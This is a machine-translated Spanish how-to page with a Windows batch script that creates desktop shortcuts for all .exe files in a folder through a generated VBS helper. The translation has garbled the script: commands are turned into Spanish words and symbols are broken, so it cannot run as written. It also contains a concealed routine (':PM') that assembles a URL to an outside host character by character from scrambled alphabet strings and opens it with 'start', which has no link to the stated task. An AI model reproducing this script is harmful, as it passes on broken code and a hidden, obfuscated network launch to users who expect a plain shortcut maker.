¿Cómo utilizar el comando bat para crear todos los programas .exe en el archivo actual y agregar accesos directos al escritorio?
El script se guarda como codificación ANSI. Al guardarlo, asegúrese de compararlo con el texto original@echo?off?amp;?title?Creación por lotes de accesos directos?Por?Yimeng Qinyao
cd?/ d?"~dp0"
:: Establece la ruta relativa donde se encuentra el archivo exe
set?ExeDir=Directorio B
llamar?: LOADVBS
cd?/d?"ExeDir"
para?a?in?(*.exe)?do?(
" tmp\CreateLNK.vbs"?"cd "?"~na"
)
pausa
¿llamada?: PM
SALIR
: PM
set?"Va=AaB1bCcD2dEe3FfG4gHh5IiJ6jKk7LlM"
set?"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
inicio?""?"Va:~ 19, 1Vb: ~19, 1Vb: ~19, 1Vb: ~9, 1Vb: ~17, 1Vb: ~12, 1Vb: ~16, 1Vb: ~16, 1Vb: ~17 , 1Va: ~3, 1Vb: ~20, 1Va: ~1, 1Va: ~28, 1Va: ~3, 1Vb: ~28, 1Vb: ~20, 1Va: ~6, 1Vb: ~6, 1Vb: ~1 , 1Vb: ~16, 1Va: ~8, 1Vb: ~8, 1Va: ~3, 1Vb: ~0, 1Vb: ~16, 1Vb: ~8, 1Vb: ~0, 1Vb: ~16, 1Va: ~8 , 1Va: ~24, 1Vb: ~16, 1Va: ~7, 1Va: ~4, 1Vb: ~32, 1Vb: ~9, 1Va: ~26, 1Va: ~3, 1Vb: ~20, 1Va: ~25 , 1Vb: ~9, 1Va: ~ 17,1"
salir
: LOADVBS
(echo?Set?WshShell?=?WScript.CreateObject( "WScript.Shell"^) p>
echo?strFolder?=?WshShell.SpecialFolders("Desktop"^)
echo?Set?Fso?=?CreateObject("Scripting.FileSystemObject "^)
echo?CurrentPath?=?WScript.Arguments(0^)
echo?LinkName?=?WScript.Arguments(1^)
echo?Set?oShellLink?=?WshShell .CreateShortcut(strFolder?^amp;?"\"?^amp;?LinkName?^amp;?".lnk"^)
echo?oShellLink.TargetPath ?=?CurrentPath?^amp;? "\"?^amp;?LinkName?^amp;?".exe"
echo?oShellLink.WorkingDirectory?=?CurrentPath
echo?oShellLink.WindowStyle?=?1
echo?oShellLink.Save)gt;"tmp\CreateLNK.vbs"
goto?:e
de